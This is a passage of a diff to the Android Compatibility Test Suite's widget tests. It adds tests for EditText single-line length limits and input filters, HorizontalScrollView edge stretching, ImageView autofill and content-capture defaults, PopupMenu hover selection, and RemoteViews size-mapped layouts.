+        GradientDrawable secondButton = (GradientDrawable) mCompoundButton.getButtonDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, secondButton.getShape());
+        assertEquals(ColorStateList.valueOf(Color.RED), secondButton.getColor());
+    }
+
     @Test
     public void testOnCreateDrawableState() {
         // compoundButton is not checked, append 0 to state array.
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index 957edf0..a9785a7 100755
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -28,7 +28,9 @@
 import android.content.res.Configuration;
 import android.graphics.Point;
 import android.text.Editable;
+import android.text.InputFilter;
 import android.text.Layout;
+import android.text.Spanned;
 import android.text.TextUtils;
 import android.text.method.ArrowKeyMovementMethod;
 import android.text.method.MovementMethod;
@@ -39,6 +41,7 @@
 import android.util.Xml;
 import android.view.KeyEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.inputmethod.EditorInfo;
 import android.widget.EditText;
 import android.widget.TextView;
 import android.widget.TextView.BufferType;
@@ -527,4 +530,165 @@
         CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mEditText1, KeyEvent.KEYCODE_NUMPAD_ENTER);
         assertTrue(mEditText2.hasFocus());
     }
+
+    private static final int FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT = 5000;
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_explicit_singleLine() {
+        mActivity.setContentView(R.layout.edittext_singleline_maxlength);
+
+        EditText et = (EditText) mActivity.findViewById(
+                R.id.edittext_explicit_singleline_max_length);
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_explicit_singleLine_with_explicit_maxLength() {
+        mActivity.setContentView(R.layout.edittext_singleline_maxlength);
+
+        EditText et = (EditText) mActivity.findViewById(
+                R.id.edittext_explicit_singleline_with_explicit_max_length);
+        // This EditText has maxLength=2000 and singeLine=true.
+        // User specified maxLength must be respected.
+        assertTrue(et.getText().length() <= 2000);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_singleLine_from_inputType() {
+        mActivity.setContentView(R.layout.edittext_singleline_maxlength);
+
+        EditText et = (EditText) mActivity.findViewById(R.id.edittext_singleLine);
+        // This EditText has inputType="text" which is translated to singleLine.
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_multiline() {
+        mActivity.setContentView(R.layout.edittext_singleline_maxlength);
+
+        EditText et = (EditText) mActivity.findViewById(R.id.edittext_multiLine);
+        // Multiline text doesn't have automated char limit.
+        assertTrue(et.getText().length() > FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_textView() {
+        mActivity.setContentView(R.layout.edittext_singleline_maxlength);
+
+        TextView tv = (TextView) mActivity.findViewById(
+                R.id.textview_explicit_singleline_max_length);
+        // Automated maxLength for singline text is not applied to TextView.
+        assertTrue(tv.getText().length() > FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_SetSingleLine() {
+        EditText et = new EditText(mActivity);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+        et.setSingleLine();
+
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_setInputType_singleLine() {
+        EditText et = new EditText(mActivity);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+        et.setInputType(EditorInfo.TYPE_CLASS_TEXT);
+
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_setInputType_multiLine() {
+        EditText et = new EditText(mActivity);
+        et.setInputType(EditorInfo.TYPE_CLASS_TEXT | EditorInfo.TYPE_TEXT_FLAG_MULTI_LINE);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+
+        assertTrue(et.getText().length() > FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    class DummyFilter implements InputFilter {
+        @Override
+        public CharSequence filter(
+                CharSequence source,
+                int start,
+                int end,
+                Spanned dest,
+                int dstart,
+                int dend) {
+            return source;
+        }
+    }
+
+    private final InputFilter mFilterA = new DummyFilter();
+    private final InputFilter mFilterB = new DummyFilter();
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_SetSingleLine_preserveFilters() {
+        EditText et = new EditText(mActivity);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+        et.setFilters(new InputFilter[] { mFilterA, mFilterB });
+        et.setSingleLine();
+
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+
+        assertEquals(3, et.getFilters().length);
+        assertEquals(et.getFilters()[0], mFilterA);
+        assertEquals(et.getFilters()[1], mFilterB);
+        assertTrue(et.getFilters()[2] instanceof InputFilter.LengthFilter);
+
+        et.setSingleLine(false);
+        assertEquals(2, et.getFilters().length);
+        assertEquals(et.getFilters()[0], mFilterA);
+        assertEquals(et.getFilters()[1], mFilterB);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_SetSingleLine_preserveFilters_mixtureFilters() {
+        EditText et = new EditText(mActivity);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+        et.setSingleLine();
+        et.setFilters(new InputFilter[] { mFilterA, et.getFilters()[0], mFilterB });
+
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+
+        et.setSingleLine(false);
+        assertEquals(2, et.getFilters().length);
+        assertEquals(et.getFilters()[0], mFilterA);
+        assertEquals(et.getFilters()[1], mFilterB);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_SetSingleLine_preserveFilters_anotherLengthFilter() {
+        EditText et = new EditText(mActivity);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+        final InputFilter myFilter =
+                new InputFilter.LengthFilter(FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+        et.setFilters(new InputFilter[] { myFilter });
+        et.setSingleLine();
+
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+
+        // setSingleLine(true) must not add new filter since there is already LengthFilter.
+        assertEquals(1, et.getFilters().length);
+        assertEquals(et.getFilters()[0], myFilter);
+
+        // setSingleLine(false) must not remove my custom filter.
+        et.setSingleLine(false);
+        assertEquals(1, et.getFilters().length);
+        assertEquals(et.getFilters()[0], myFilter);
+    }
+
 }
diff --git a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
index c058de7..41084771 100644
--- a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
@@ -39,9 +39,11 @@
 import android.widget.FrameLayout;
 import android.widget.HorizontalScrollView;
 import android.widget.TextView;
+import android.widget.cts.util.StretchEdgeUtil;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.MediumTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
@@ -55,6 +57,8 @@
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 
+import java.util.ArrayList;
+
 /**
  * Test {@link HorizontalScrollView}.
  */
@@ -73,6 +77,7 @@
     private HorizontalScrollView mScrollViewRegular;
     private HorizontalScrollView mScrollViewCustom;
     private MyHorizontalScrollView mScrollViewCustomEmpty;
+    private HorizontalScrollView mScrollViewStretch;
 
     @Rule
     public ActivityTestRule<HorizontalScrollViewCtsActivity> mActivityRule =
@@ -88,6 +93,8 @@
                 R.id.horizontal_scroll_view_custom);
         mScrollViewCustomEmpty = (MyHorizontalScrollView) mActivity.findViewById(
                 R.id.horizontal_scroll_view_custom_empty);
+        mScrollViewStretch = (HorizontalScrollView) mActivity.findViewById(
+                R.id.horizontal_scroll_view_stretch);
     }
 
     @Test
@@ -792,6 +799,67 @@
         assertEquals(mScrollViewRegular.getRightEdgeEffectColor(), Color.GREEN);
     }
 
+    @Test
+    public void testStretchAtLeft() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the left:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragRightStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchAtLeftAndCatch() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragRightTapAndHoldStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    @Test
+    public void testStretchAtRight() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the left:
+        showOnlyStretch();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Scroll all the way to the right
+            mScrollViewStretch.scrollTo(210, 0);
+        });
+
+        assertTrue(StretchEdgeUtil.dragLeftStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchAtRightAndCatch() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Scroll all the way to the bottom
+            mScrollViewStretch.scrollTo(210, 0);
+        });
+
+        assertTrue(StretchEdgeUtil.dragLeftTapAndHoldStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    private void showOnlyStretch() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mScrollViewCustom.setVisibility(View.GONE);
+            mScrollViewCustomEmpty.setVisibility(View.GONE);
+            mScrollViewRegular.setVisibility(View.GONE);
+            // The stretch HorizontalScrollView is 90x90 pixels
+            Rect exclusionRect = new Rect(0, 0, 90, 90);
+            ArrayList exclusionRects = new ArrayList();
+            exclusionRects.add(exclusionRect);
+            mScrollViewStretch.setSystemGestureExclusionRects(exclusionRects);
+        });
+    }
+
     private boolean isInRange(int current, int from, int to) {
         if (from < to) {
             return current >= from && current <= to;
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index e09946d..b3392b3 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -60,6 +60,7 @@
 import android.net.Uri;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.View;
 import android.widget.ImageView;
 import android.widget.ImageView.ScaleType;
 import android.widget.cts.util.TestUtils;
@@ -159,6 +160,59 @@
 
     @UiThreadTest
     @Test
+    public void testConstructorImportantForAutofill() {
+        ImageView imageView = new ImageView(mActivity);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = new ImageView(mActivity, null);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_auto);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_no);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_yes);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_YES, imageView.getImportantForAutofill());
+        assertTrue(imageView.isImportantForAutofill());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructorImportantForContentCapture() {
+        ImageView imageView = new ImageView(mActivity);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = new ImageView(mActivity, null);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_auto);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_no);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_NO,
+                imageView.getImportantForContentCapture());
+        assertFalse(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_yes);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+    }
+
+    @UiThreadTest
+    @Test
     public void testInvalidateDrawable() {
         mImageViewRegular.invalidateDrawable(null);
     }
diff --git a/tests/tests/widget/src/android/widget/cts/OWNERS b/tests/tests/widget/src/android/widget/cts/OWNERS
index dd41f7f..080c707 100644
--- a/tests/tests/widget/src/android/widget/cts/OWNERS
+++ b/tests/tests/widget/src/android/widget/cts/OWNERS
@@ -1 +1,2 @@
 per-file TextView*.java, EditText*.java = siyamed@google.com, nona@google.com, clarabayarri@google.com
+per-file ToastTest.java = beverlyt@google.com, brufino@google.com, jtomljanovic@google.com, juliacr@google.com
diff --git a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
index 7c656ba..8905883 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
@@ -19,6 +19,7 @@
 import static com.android.compatibility.common.util.CtsMockitoUtils.within;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.mockito.Mockito.any;
@@ -36,9 +37,11 @@
 import android.graphics.drawable.ColorDrawable;
 import android.os.SystemClock;
 import android.view.Gravity;
+import android.view.InputDevice;
 import android.view.Menu;
 import android.view.MenuInflater;
 import android.view.MenuItem;
+import android.view.MotionEvent;
 import android.view.SubMenu;
 import android.view.View;
 import android.widget.EditText;
@@ -430,6 +433,58 @@
         }
     }
 
+    @Test
+    public void testHoverSelectsMenuItem() throws Throwable {
+        mBuilder = new Builder().withExtraItems(100).withAnchorId(R.id.anchor_upper_left);
+        mActivityRule.runOnUiThread(mBuilder::show);
+
+        mInstrumentation.waitForIdleSync();
+        ListView menuItemList = mPopupMenu.getMenuListView();
+
+        assertEquals(0, menuItemList.getFirstVisiblePosition());
+        emulateHoverOverVisibleItems(mInstrumentation, menuItemList);
+
+        // Select the last item to force menu scrolling and emulate hover again.
+        mActivityRule.runOnUiThread(
+                () -> menuItemList.setSelectionFromTop(mPopupMenu.getMenu().size() - 1, 0));
+        mInstrumentation.waitForIdleSync();
+
+        assertNotEquals("Too few menu items to test for scrolling",
+                0, menuItemList.getFirstVisiblePosition());
+        emulateHoverOverVisibleItems(mInstrumentation, menuItemList);
+
+        mPopupMenu = null;
+    }
+
+    private void emulateHoverOverVisibleItems(Instrumentation instrumentation, ListView listView) {
+        final int childCount = listView.getChildCount();
+        // The first/last child may present partially on the app, we should ignore them when inject
+        // mouse events to prevent the event send to the wrong target.
+        for (int i = 1; i < childCount - 1; i++) {
+            View itemView = listView.getChildAt(i);
+            injectMouseEvent(instrumentation, itemView, MotionEvent.ACTION_HOVER_MOVE);
+
+            // Wait for the system to process all events in the queue.
+            instrumentation.waitForIdleSync();
+
+            // Hovered menu item should be selected.
+            assertEquals(listView.getFirstVisiblePosition() + i,
+                    listView.getSelectedItemPosition());
+        }
+    }
+
+    private static void injectMouseEvent(Instrumentation instrumentation, View view, int action) {
+        final int[] xy = new int[2];
+        view.getLocationOnScreen(xy);
+        final int x = xy[0] + view.getWidth() / 2;
+        final int y = xy[1] + view.getHeight() / 2;
+        long eventTime = SystemClock.uptimeMillis();
+        MotionEvent event = MotionEvent.obtain(eventTime, eventTime, action, x, y, 0);
+        event.setSource(InputDevice.SOURCE_MOUSE);
+        instrumentation.sendPointerSync(event);
+        event.recycle();
+    }
+
     /**
      * Inner helper class to configure an instance of {@link PopupMenu} for the specific test.
      * The main reason for its existence is that once a popup menu is shown with the show() method,
@@ -441,6 +496,7 @@
         private boolean mHasDismissListener;
         private boolean mHasMenuItemClickListener;
         private boolean mInflateWithInflater;
+        private int mExtraItemCount;
 
         private int mAnchorId = R.id.anchor_middle_left;
         private int mPopupMenuContent = R.menu.popup_menu;
@@ -507,6 +563,11 @@
             return this;
         }
 
+        public Builder withExtraItems(int count) {
+            mExtraItemCount = count;
+            return this;
+        }
+
         public void configure() {
             mAnchor = mActivity.findViewById(mAnchorId);
             if (!mUseCustomGravity && !mUseCustomPopupResource) {
@@ -543,6 +604,11 @@
             }
 
             mPopupMenu.setForceShowIcon(mForceShowIcon);
+
+            // Add extra items.
+            for (int i = 0; i < mExtraItemCount; i++) {
+                mPopupMenu.getMenu().add("Extra item " + i);
+            }
         }
 
         public void show() {
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsSizeMapTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsSizeMapTest.java
new file mode 100644
index 0000000..fa41eec
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsSizeMapTest.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.graphics.PointF;
+import android.os.Parcel;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import android.widget.RemoteViews;
+import android.widget.TextView;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Test {@link RemoteViews#RemoteViews(Map<PointF, RemoteViews>)}.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RemoteViewsSizeMapTest {
+    private static final String PACKAGE_NAME = "android.widget.cts";
+
+    private static final int INVALID_ID = -1;
+
+    private static final long TEST_TIMEOUT = 5000;
+
+    @Rule
+    public ActivityTestRule<RemoteViewsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RemoteViewsCtsActivity.class);
+
+    @Rule
+    public ExpectedException mExpectedException = ExpectedException.none();
+
+    private Instrumentation mInstrumentation;
+
+    private Context mContext;
+
+    private RemoteViews mRemoteViews;
+
+    private View mResult;
+
+    private List<PointF> mSizes;
+    private Map<PointF, RemoteViews> mRemoteViewsSizeMap;
+
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+
+        mSizes = new ArrayList<>();
+        mSizes.add(new PointF(100, 100));
+        mSizes.add(new PointF(100, 150));
+        mSizes.add(new PointF(150, 130));
+        mSizes.add(new PointF(200, 200));
+
+        mRemoteViewsSizeMap = new HashMap<>();
+        for (int i = 0; i < mSizes.size(); i++) {
+            RemoteViews remoteViews = new RemoteViews(PACKAGE_NAME,
+                    i == 0 ? R.layout.remoteviews_small : R.layout.remoteviews_good);
+            remoteViews.addView(
+                    R.id.remoteView_linear,
+                    new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_small)
+            );
+            remoteViews.setLightBackgroundLayoutId(
+                    i == 0 ? R.layout.remoteviews_good : R.layout.remoteviews_small);
+            remoteViews.setTextViewText(R.id.remoteView_text, Integer.toString(i + 1));
+            mRemoteViewsSizeMap.put(mSizes.get(i), remoteViews);
+        }
+
+        mRemoteViews = new RemoteViews(mRemoteViewsSizeMap);
+    }
+
+    @Test
+    public void constructor_defaultIsSmallest() {
+        assertEquals(R.layout.remoteviews_small, mRemoteViews.getLayoutId());
+
+        mRemoteViews.addFlags(RemoteViews.FLAG_USE_LIGHT_BACKGROUND_LAYOUT);
+        assertEquals(R.layout.remoteviews_good, mRemoteViews.getLayoutId());
+    }
+
+    private void applyRemoteViewOnUiThread(PointF initialSize) {
+        mResult = mRemoteViews.apply(mContext, null, null, initialSize);
+
+        // Add our host view to the activity behind this test. This is similar to how launchers
+        // add widgets to the on-screen UI.
+        ViewGroup root = (ViewGroup) mActivityRule.getActivity().findViewById(R.id.remoteView_host);
+        FrameLayout.MarginLayoutParams lp = new FrameLayout.MarginLayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.MATCH_PARENT);
+        mResult.setLayoutParams(lp);
+
+        root.addView(mResult);
+    }
+
+    private void applyRemoteView(PointF initialSize) throws Throwable {
+        mActivityRule.runOnUiThread(() -> applyRemoteViewOnUiThread(initialSize));
+    }
+
+    @Test
+    public void apply_withoutSize_shouldReturnSmallestLayout() throws Throwable {
+        applyRemoteView(null);
+
+        assertEquals("1", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void apply_withSmallSize_shouldReturnSmallLayout() throws Throwable {
+        applyRemoteView(new PointF(50, 50));
+
+        assertEquals("1", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void apply_withLargeSize_shouldReturnLargestLayout() throws Throwable {
+        applyRemoteView(new PointF(500, 500));
+
+        assertEquals("4", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void apply_withSize_shouldReturnClosestFittingLayoutWithMargin() throws Throwable {
+        applyRemoteView(new PointF(99.7f, 150));
+
+        assertEquals("2", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void apply_withSize_shouldReturnClosestFittingLayout() throws Throwable {
+        applyRemoteView(new PointF(160, 150));
+
+        assertEquals("3", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    // Note about reapply: it should only be called if the size didn't change, as it cannot show a
+    // new layout.
+    @Test
+    public void reapply_withoutSize_shouldReturnSmallestLayout() throws Throwable {
+        applyRemoteView(null);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+
+        assertEquals("1", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void reapply_withSmallSize_shouldReturnSmallLayout() throws Throwable {
+        applyRemoteView(new PointF(50, 50));
+        mActivityRule.runOnUiThread(
+                () -> mRemoteViews.reapply(mContext, mResult, null /* handler */,
+                        new PointF(50, 50)));
+
+        assertEquals("1", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void reapply_witLargeSize_shouldReturnLargestLayout() throws Throwable {
+        applyRemoteView(new PointF(500, 500));
+        mActivityRule.runOnUiThread(
+                () -> mRemoteViews.reapply(mContext, mResult, null /* handler */,
+                        new PointF(500, 500)));
+
+        assertEquals(mResult.<TextView>findViewById(R.id.remoteView_text).getText(), "4");
+    }
+
+    @Test
+    public void reapply_withSize_shouldReturnClosestFittingLayoutWithMargin() throws Throwable {
+        applyRemoteView(new PointF(99.7f, 150));
+        mActivityRule.runOnUiThread(
+                () -> mRemoteViews.reapply(mContext, mResult, null /* handler */,
+                        new PointF(99.7f, 150)));
+
+        assertEquals("2", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void reapply_withSize_shouldReturnClosestFittingLayout() throws Throwable {
+        applyRemoteView(new PointF(160, 150));
+        mActivityRule.runOnUiThread(
+                () -> mRemoteViews.reapply(mContext, mResult, null /* handler */,
+                        new PointF(160, 150)));
+
+        assertEquals("3", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void writeToParcel() throws Throwable {
+        Parcel p = Parcel.obtain();
+        mRemoteViews.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        mRemoteViews = new RemoteViews(p);
+        p.recycle();
+        applyRemoteView(new PointF(160, 150));
+
+        assertEquals("3", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index f547bed..d89c028 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -16,6 +16,9 @@
 
 package android.widget.cts;
 
+import static android.util.TypedValue.COMPLEX_UNIT_DIP;
+import static android.util.TypedValue.COMPLEX_UNIT_PX;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -27,24 +30,30 @@
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
 import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.res.ColorStateList;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
+import android.graphics.BlendMode;
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Icon;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.text.TextUtils;
+import android.util.DisplayMetrics;
 import android.util.TypedValue;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.AbsoluteLayout;
 import android.widget.AnalogClock;
 import android.widget.Button;
+import android.widget.CheckBox;
 import android.widget.Chronometer;
+import android.widget.CompoundButton;
 import android.widget.DatePicker;
 import android.widget.EditText;
 import android.widget.FrameLayout;
@@ -56,12 +65,15 @@
 import android.widget.ListView;
 import android.widget.NumberPicker;
 import android.widget.ProgressBar;
+import android.widget.RadioButton;
+import android.widget.RadioGroup;
 import android.widget.RatingBar;
 import android.widget.RelativeLayout;
 import android.widget.RemoteViews;
 import android.widget.RemoteViews.ActionException;
 import android.widget.SeekBar;
 import android.widget.StackView;
+import android.widget.Switch;
 import android.widget.TextClock;
 import android.widget.TextView;
 import android.widget.ViewFlipper;
@@ -411,6 +423,7 @@
         assertTrue(mRemoteViews.onLoadClass(AbsoluteLayout.class));
         assertTrue(mRemoteViews.onLoadClass(AnalogClock.class));
         assertTrue(mRemoteViews.onLoadClass(Button.class));
+        assertTrue(mRemoteViews.onLoadClass(CheckBox.class));
         assertTrue(mRemoteViews.onLoadClass(Chronometer.class));
         assertTrue(mRemoteViews.onLoadClass(FrameLayout.class));
         assertTrue(mRemoteViews.onLoadClass(GridLayout.class));
@@ -420,8 +433,11 @@
         assertTrue(mRemoteViews.onLoadClass(LinearLayout.class));
         assertTrue(mRemoteViews.onLoadClass(ListView.class));
         assertTrue(mRemoteViews.onLoadClass(ProgressBar.class));
+        assertTrue(mRemoteViews.onLoadClass(RadioButton.class));
+        assertTrue(mRemoteViews.onLoadClass(RadioGroup.class));
         assertTrue(mRemoteViews.onLoadClass(RelativeLayout.class));
         assertTrue(mRemoteViews.onLoadClass(StackView.class));
+        assertTrue(mRemoteViews.onLoadClass(Switch.class));
         assertTrue(mRemoteViews.onLoadClass(TextClock.class));
         assertTrue(mRemoteViews.onLoadClass(TextView.class));
         assertTrue(mRemoteViews.onLoadClass(ViewFlipper.class));
@@ -696,7 +712,7 @@
         assertNull(newActivity);
 
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mRemoteViews.setOnClickPendingIntent(R.id.remoteView_image, pendingIntent);
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         mActivityRule.runOnUiThread(() -> view.performClick());
@@ -707,6 +723,48 @@
     }
 
     @Test
+    public void testSetOnCheckedChangePendingIntent() throws Throwable {
+        String action = "my-checked-change-action";
+        MockBroadcastReceiver receiver =  new MockBroadcastReceiver();
